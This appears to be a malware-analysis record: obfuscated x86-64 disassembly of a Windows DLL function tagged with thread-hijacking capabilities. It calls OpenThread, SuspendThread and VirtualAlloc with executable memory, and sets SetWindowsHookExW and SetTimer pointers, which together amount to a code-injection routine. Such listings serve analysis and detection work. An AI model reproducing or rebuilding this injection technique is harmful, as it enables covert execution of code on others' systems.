Function at 0x1800ec3f9
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
lea rcx, [rsi - 0x58bd7b97]
mov rcx, qword [rsp + 0x30]
jmp fcn.1800b5c10
not r8w
movsx dx, cl
bswap r8w
lea r8, [riz*8 - 0x5ee5f47e]
rep movsb byte [rdi], byte [rsi]
cmp bl, bh
mov edx, dword [rsp + 0x530]
ror rax, 0x13
btc r8w, sp
sbb rax, rax
or ax, 0xa912
mov rax, qword [rsp + 0x28]
xchg cx, r8w
and rcx, rsp
btc cx, bp
btr r8w, 2
mov qword [rax + 0x1a], rdx
btr cx, 5
mov rax, qword [rsp + 0x28]
test bh, 0xb5
mov qword [rax + 0x24], 0
jmp 0x1800db551
call qword [sym.imp.KERNEL32.dll_OpenThread]
test ah, cl
cmc
clc
stc
mov qword [rsp + 0x30], rax
test al, 0x24
cmp qword [rsp + 0x30], 0
jmp 0x1800d1601
call qword [sym.imp.KERNEL32.dll_SuspendThread]
bt rsi, 0x2f
test eax, eax
jmp 0x1800e5730
cmp qword [rsp + 0x30], 0
jmp 0x1800e6560
xchg dl, cl
mov ecx, 0x4c8
lea rdx, [rdx*8 - 0x6df7a361]
rep stosb byte [rdi], al
movsx cx, bl
mov dword [rsp + 0x70], 0x100001
not ch
movsx cx, bl
movzx cx, dl
lea rdx, [rsp + 0x40]
lea rcx, [rdx + 0x2fd778f9]
mov cx, si
mov rcx, qword [rsp + 0x30]
jb 0x18001c885
clc
or edi, esi
rcr di, cl
mov qword [rsp + 0x40], 0
shl di, cl
ror di, 9
add di, ax
bsr di, bx
lea rdi, [rsp + 0x48]
stc
test ah, 0xf4
sub eax, eax
jmp 0x1801046ce
cmc
mov qword [rsp + 0x30], rax
cmc
jmp 0x1800c72cb
rcr ah, 6
cmc
rcl al, cl
xor si, 0xf3b7
mov eax, dword [rsp + 0x24]
stc
bsr di, ax
lea rdi, [riz*4 + 0x6baee3c3]
mov esi, edx
add rsp, 0x518
lea rsi, [rdi*4 + 0x7f955650]
pop rdi
jmp 0x1800fe264
call qword [sym.imp.KERNEL32.dll_OpenThread]
cmc
jmp 0x1800b347c
call qword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x1800bae49
rep movsb byte [rdi], byte [rsi]
btr eax, edi
sbb dx, cx
mov edx, 0xeacc905e
or ax, 0x67d3
mov edx, dword [rsp + 0x530]
rcl ah, cl
rol r8w, cl
mov rax, qword [rsp + 0x28]
add r8d, 0xb8729961
sbb r8w, 0x4699
sal r8w, cl
mov qword [rax + 0x1a], rdx
shl ah, cl
bsf rax, rbx
or ch, 0xb0
mov rax, qword [rsp + 0x28]
rol r8w, cl
mov qword [rax + 0x24], 0
shrd cx, ax, cl
not ch
mov rcx, qword [rsp + 0x28]
xadd ax, r8w
adc ax, 0xa447
setnp al
clc
mov rax, qword [rsp + 0x548]
dec r8w
mov qword [rcx + 0x2e], rax
not eax
mov rax, qword [rsp + 0x28]
add cl, 0x43
mov qword [rax + 0x38], 3
shl ax, cl
mov rcx, qword [rsp + 0x28]
bswap ax
seto ah
movsx r8w, dl
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExW]
add r8d, 0xcd3256ca
rol r8w, cl
adc r8w, 0x60b
mov qword [rcx + 0x42], rax
sal ah, cl
mov rcx, qword [rsp + 0x28]
setne al
sar r8d, cl
sal r8w, cl
sal al, cl
mov rax, qword [rsp + 0x540]
xor r8, 0xffffffffe70afafd
mov qword [rcx + 0x4e], rax
rcl r8w, 6
xor al, 0x1f
mov ch, 0x97
shld r8d, ebp, 0x1e
mov rcx, qword [rsp + 0x28]
lea r8, [rsi*4 - 0x73ca98ce]
jmp 0x1800c82cb
lea rdx, [rsp + 0x40]
bswap cx
movsx rcx, bl
mov rcx, qword [rsp + 0x30]
jmp fcn.1800b2786
bt bx, bx
clc
cmp bh, 0xa
test eax, eax
jmp 0x1800d2b1c
shrd r8d, ebp, 0x15
mov r8w, 0xcae7
sbb ah, 0x5f
mov rax, qword [rsp + 0x540]
btc r8w, 3
jmp 0x1800c36be
call qword [sym.imp.KERNEL32.dll_SuspendThread]
stc
test ebx, 0x5eb0c5e2
test eax, eax
jmp 0x1800cc24d
mov dword [rsp + 0x70], 0x100001
jmp 0x1800b6e82
setle cl
mov ecx, 0xb0
jl 0x1800ad14c
lea rax, [riz*4 - 0x699e70d2]
not r8
rep movsb byte [rdi], byte [rsi]
shr ah, 5
clc
mov edx, dword [rsp + 0x530]
jmp 0x1800cd8c8
mov qword [rcx + 0x4e], rax
mov cx, 0x511
not ch
movzx ecx, bl
mov rcx, qword [rsp + 0x28]
rcl r8d, cl
lea rax, [0x180018780]
shrd r8w, sp, 0xf
dec r8w
shl r8w, cl
mov qword [rcx + 0x58], rax
sar r8w, 0xa
cmc
inc ch
btc cx, 2
mov ecx, dword [rsp + 0x550]
or ax, cx
lea r8, [rsp + 0x5084934e]
mov rax, qword [rsp + 0x28]
bsr r8, rax
mov qword [rax + 0x62], rcx
rcr cl, cl
mov rcx, qword [rsp + 0x28]
ror ah, cl
and al, 0x1c
mov rax, qword [rsp + 0x558]
cmc
ror r8d, cl
mov qword [rcx + 0x6c], rax
neg cx
and cl, 0x22
mov rcx, qword [rsp + 0x28]
lea r8, [rax - 0x6197cd38]
rol r8w, cl
mov rax, qword [rsp + 0x538]
sbb r8w, ax
shr r8, 0x37
lea r8, [rbp*4 - 0xa3d3933]
cmp sp, dx
mov qword [rcx + 0x76], rax
shld cx, bp, cl
shr ah, 4
stc
mov rcx, qword [rsp + 0x28]
not ah
clc
movabs r8, 0xffffffffd41eedd9
clc
mov rax, qword [sym.imp.USER32.dll_SetTimer]
bsr r8w, cx
rcr r8w, cl
mov qword [rcx + 0x80], rax
btr r8w, sp
mov r8d, dword [rsp + 0x530]
rol ch, cl
sbb cl, ch
bsf cx, bx
sub edx, edx
jmp 0x1800fa066
jmp 0x1800f3396
bt sp, 0xc
cmp qword [rsp + 0x30], 0
jmp 0x1800dfef5
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp ebx, ebx
test eax, eax
jmp 0x1800cd284
lea rax, [0x180018780]
clc
bswap r8w
lea r8, [rcx + 0x2e4cc97a]
mov qword [rcx + 0x58], rax
adc al, dl
lea rax, [rsi*8 - 0x48b9238d]
mov r8w, dx
mov ecx, dword [rsp + 0x550]
cmp dl, dl
mov rax, qword [rsp + 0x28]
and r8w, 0xed0a
rol r8w, 0xc
mov qword [rax + 0x62], rcx
xchg r8, rax
shld cx, cx, 1
mov rcx, qword [rsp + 0x28]
or ax, di
mov rax, qword [rsp + 0x558]
not r8d
mov qword [rcx + 0x6c], rax
test dh, 0xb2
test rdx, rax
mov rcx, qword [rsp + 0x28]
shrd r8w, ax, cl
shld ax, dx, 1
and ah, dh
btc ax, di
mov rax, qword [rsp + 0x538]
adc r8d, 0x1e68315a
mov qword [rcx + 0x76], rax
bt sp, dx
bts cx, 3
rcr al, 2
mov rcx, qword [rsp + 0x28]
bt esi, ebp
mov rax, qword [sym.imp.USER32.dll_SetTimer]
stc
clc
test rbp, 0x66d86495
mov qword [rcx + 0x80], rax
shr ch, 5
bsr cx, ax
mov r8d, dword [rsp + 0x530]
shld cx, dx, cl
sub edx, edx
lea rcx, [rdi*2 - 0x3594f1a]
mov ecx, 0x1fffff
jmp 0x1800c570b
stc
cmp bh, 0x63
bt di, bx
xor ecx, ecx
jmp loc.18001a091
jmp 0x1800fda71
jmp 0x1800b328e
sbb r8, rbx
shr al, cl
mov rax, qword [rsp + 0x28]
cmc
mov qword [rax + 0x1a], rdx
shld ax, di, 0xf
rcl al, cl
mov rax, qword [rsp + 0x28]
lea rcx, [rbx + 0x5e5ddbff]
shld cx, bx, 0xa
shrd cx, ax, 6
rcl r8w, cl
mov qword [rax + 0x24], 0
xadd ch, al
not r8d
mov rcx, qword [rsp + 0x28]
rcl ax, cl
mov eax, ebp
btr r8w, 9
mov rax, qword [rsp + 0x548]
cmp bx, dx
rol r8d, 6
rcl r8d, 0x11
mov r8d, 0x15f1172c
mov qword [rcx + 0x2e], rax
xadd rax, rcx
btr eax, ecx
cmp bp, si
shr cx, 0xe
mov rax, qword [rsp + 0x28]
rcl ch, 5
mov qword [rax + 0x38], 3
cmp cx, 0x4b66
rcl cx, 9
mov rcx, qword [rsp + 0x28]
jmp 0x1800ef167
mov rdi, qword [rsp + 0x28]
jmp 0x1800c33b4
jmp 0x1800ae764
cmc
cmc
stc
test bh, 6
sub eax, eax
jmp 0x1801046ce
jmp 0x1800b65d8
jmp 0x1800e4711
je 0x1800b5c16
bswap cx
not cx
movsx rcx, al
movsx cx, bl
mov rcx, qword [rsp + 0x30]
jmp 0x1800bcf34
jmp 0x1800de19e
jmp 0x1800c2475
sar r8d, 4
shld ax, cx, cl
rcr ax, cl
mov rcx, qword [rsp + 0x28]
sub ax, ax
bsr ax, si
mov rax, qword [rsp + 0x548]
rol r8d, 1
not r8w
and r8d, 0x9aa5a08
or r8, 0xffffffffdb5801e5
mov qword [rcx + 0x2e], rax
not r8
dec rax
not ax
xadd ax, cx
mov rax, qword [rsp + 0x28]
cmp ax, dx
clc
mov qword [rax + 0x38], 3
rcl ch, 1
sal al, 1
rcl ch, cl
movzx cx, al
mov rcx, qword [rsp + 0x28]
xor r8d, 0xce7324cd
ror ah, cl
sub r8w, 0x7f13
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExW]
shrd r8w, si, 0xa
cmc
or r8d, edi
ror r8, 0x1a
mov qword [rcx + 0x42], rax
lea rax, [riz*4 - 0x2ceb7864]
bsf rax, rsp
inc cl
test dx, bp
mov rcx, qword [rsp + 0x28]
movsx rax, cl
jl 0x1800bc176
xor ax, 0x8ff8
ror ah, cl
mov rax, qword [rsp + 0x540]
bt cx, si
sar r8w, cl
test cl, 0xc
bsr r8w, di
mov qword [rcx + 0x4e], rax
add ch, 0x7a
mov ah, bh
shrd ax, bx, 1
shld ecx, ecx, 8
mov rcx, qword [rsp + 0x28]
clc
mov rax, rdx
shr r8w, cl
lea rax, [0x180018780]
rol r8, 0x17
mov r8w, 0x83a9
sbb r8w, 0xff6a
mov qword [rcx + 0x58], rax
bswap cx
sbb cl, ch
movzx cx, bl
test cl, dl
mov ecx, dword [rsp + 0x550]
btr r8, rsp
not r8
xchg r8w, ax
mov rax, qword [rsp + 0x28]
movsx r8d, bl
neg r8w
mov qword [rax + 0x62], rcx
shrd cx, sp, cl
or cl, dh
mov rcx, qword [rsp + 0x28]
movsx ax, al
mov al, 0xd4
rol al, 6
clc
mov rax, qword [rsp + 0x558]
not r8w
mov qword [rcx + 0x6c], rax
neg cx
movsx r8d, bl
dec cl
mov rcx, qword [rsp + 0x28]
inc rax
cmc
shr r8w, cl
setp al
mov rax, qword [rsp + 0x538]
btc r8w, 7
mov qword [rcx + 0x76], rax
shld cx, dx, 2
mov rcx, qword [rsp + 0x28]
xchg r8w, ax
mov rax, qword [sym.imp.USER32.dll_SetTimer]
cmc
sbb r8w, 0x6d39
rcl r8d, 0x17
bsf r8d, eax
mov qword [rcx + 0x80], rax
bsf cx, dx
xadd ecx, r8d
mov r8d, dword [rsp + 0x530]
movzx cx, al
rcl ch, cl
xor edx, edx
bswap cx
mov ecx, 0x1fffff
jmp 0x1800d0896
jmp 0x1800c7f7a
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
bswap rcx
movzx rdx, bl
mov qword [rsp + 0x28], rax
bswap rsi
lea rsi, [0x18008a5a0]
mov di, 0x9ef7
mov rdi, qword [rsp + 0x28]
not rax
not cx
movsx dx, al
mov ecx, 0xb0
jmp 0x1800b6a04
jb 0x18001c885
bsr di, cx
and di, dx
mov qword [rsp + 0x40], 0
clc
neg edi
sal edi, 2
lea rdi, [rsp + 0x48]
sal cx, 6
sub eax, eax
lea rdx, [rbp - 0x5ff5939c]
lea rcx, [rdi - 0x4b4c23cf]
jmp 0x1800faad6
jmp 0x1800d2415
jb 0x18001c885
bsf rdi, rax
mov edi, 0x52de3b77
mov qword [rsp + 0x40], 0
stc
mov di, 0x464e
adc rdi, rbp
ror di, cl
lea rdi, [rsp + 0x48]
jo 0x1800d095b
clc
xor eax, eax
jmp 0x1801046ce
je 0x1800b5c16
not cx
mov cl, 0x88
movzx cx, cl
je 0x1800f2f44
mov rcx, qword [rsp + 0x30]
jmp 0x1800f3666
je 0x1800b5c16
bswap cx
jmp 0x1800e7c66
jmp 0x1800e12e4
jmp 0x1800e2c31
movzx rcx, bl
mov rcx, qword [rsp + 0x30]
jmp 0x1800d0e05
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsx rdi, al
movzx si, bl
mov qword [rsp + 0x28], rax
lea rcx, [rdi - 0x47d2be74]
lea rsi, [0x18008a5a0]
not di
jmp 0x1800d06ee
mov rcx, qword [rsp + 0x30]
jmp 0x1800dc5f2
jmp 0x18010144a
test dh, 0x82
mov qword [rsp + 0x20], r9
rcr r9, cl
and r9w, 0x86b2
mov qword [rsp + 0x18], r8
bts r8d, ebp
mov qword [rsp + 0x10], rdx
clc
mov dword [rsp + 8], ecx
xor r9d, ecx
push rsi
cmc
sbb r9w, si
push rdi
bswap r9w
test rax, rbx
and r8w, 0x474
sub rsp, 0x518
movsx dx, dl
xadd r9w, dx
shrd r8w, si, 3
stc
mov dword [rsp + 0x24], 0
setle dh
clc
rcr r9d, 0x10
cmp cl, 0xa3
mov dword [rsp + 0x20], 0
adc dx, 0x794a
mov r9d, 0x40
bt edx, esi
mov r8d, 0x3000
add rdx, 0xef186e6
sub dl, ah
adc dh, ch
jmp 0x1800f8d25
jmp 0x1800ddf60
mov r8w, cx
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExW]
test esi, 0x47f9a3c6
and r8w, sp
mov qword [rcx + 0x42], rax
rcl ch, cl
mov rcx, qword [rsp + 0x28]
rol r8w, cl
movzx ax, dl
mov rax, qword [rsp + 0x540]
shr r8w, cl
btr r8w, 7
bsr r8w, dx
movsx r8w, cl
mov qword [rcx + 0x4e], rax
clc
bsr cx, di
mov rcx, qword [rsp + 0x28]
bt bx, 6
lea rax, [0x180018780]
bsr r8d, ecx
rcl r8w, 5
shl r8w, 0xa
mov qword [rcx + 0x58], rax
or ch, bh
sbb r8d, esp
inc cl
mov ecx, dword [rsp + 0x550]
sbb al, 0x76
mov rax, qword [rsp + 0x28]
cmc
mov qword [rax + 0x62], rcx
ror r8d, 0x13
shld cx, bx, cl
cmc
ror r8d, 0x19
mov rcx, qword [rsp + 0x28]
bts r8w, 4
and r8d, edi
clc
mov rax, qword [rsp + 0x558]
btr r8w, 7
sal r8d, cl
sub r8w, di
mov qword [rcx + 0x6c], rax
bt eax, ebx
mov rcx, qword [rsp + 0x28]
ror rax, 0x1f
cmc
xor al, ah
mov rax, qword [rsp + 0x538]
and r8d, 0x2ca6b698
movzx r8d, al
mov qword [rcx + 0x76], rax
shrd rcx, rbp, cl
rcr r8d, cl
mov rcx, qword [rsp + 0x28]
test cl, al
bt sp, dx
mov rax, qword [sym.imp.USER32.dll_SetTimer]
rol r8w, 1
sal r8w, cl
mov qword [rcx + 0x80], rax
or cx, si
sal r8d, cl
bts cx, 6
mov r8d, dword [rsp + 0x530]
bsr cx, di
inc cx
xor rcx, 0xffffffff81d10268
xor edx, edx
setp ch
movsx cx, cl
mov cl, 0x35
mov ecx, 0x1fffff
jmp 0x1800f7d7b
bswap ecx
movzx cx, dl
jmp 0x1800ea9df
call qword [sym.imp.KERNEL32.dll_OpenThread]
bt dx, 5
cmc
cmp bl, 0xe
mov qword [rsp + 0x30], rax
test dh, bh
cmc
jmp 0x1800afff6
jmp 0x1800af65e
jmp loc.18001aee1
mov edx, 0xb0
bt di, bp
stc
jg 0x1800cb248
xor ecx, ecx
jo 0x1800ecf6a
jmp 0x1800e9c4c
lea rcx, [rax + 0x5fb1b95]
mov ecx, 0x1fffff
jmp 0x1800b6240
mov ecx, 0x4c8
movzx rdx, al
mov dl, 0xd9
bswap edx
rep stosb byte [rdi], al
jmp 0x1800d412f
jb 0x18001c885
mov cx, dx
neg ch
bt di, 2
bsr di, ax
mov qword [rsp + 0x40], 0
add edi, esp
bsf di, cx
shld edi, ebp, cl
rcr di, 0xf
lea rdi, [rsp + 0x48]
inc dx
sub eax, eax
bswap cx
mov ecx, 0x4c8
jmp 0x1800ebfad
mov esi, 0xa08f7532
lea rsi, [rdi*2 - 0x704fbc89]
pop rsi
ret
rep stosb byte [rdi], al
xchg ch, dl
setbe cl
movsx rcx, al
xchg dh, ch
mov dword [rsp + 0x70], 0x100001
movabs rdx, 0x2c41ef44
mov cx, 0x5e91
mov dx, 0x85c9
lea rdx, [rsp + 0x40]
movzx cx, cl
jmp loc.180017bb8
movsx dx, bl
movzx ecx, cl
jmp 0x1800b274b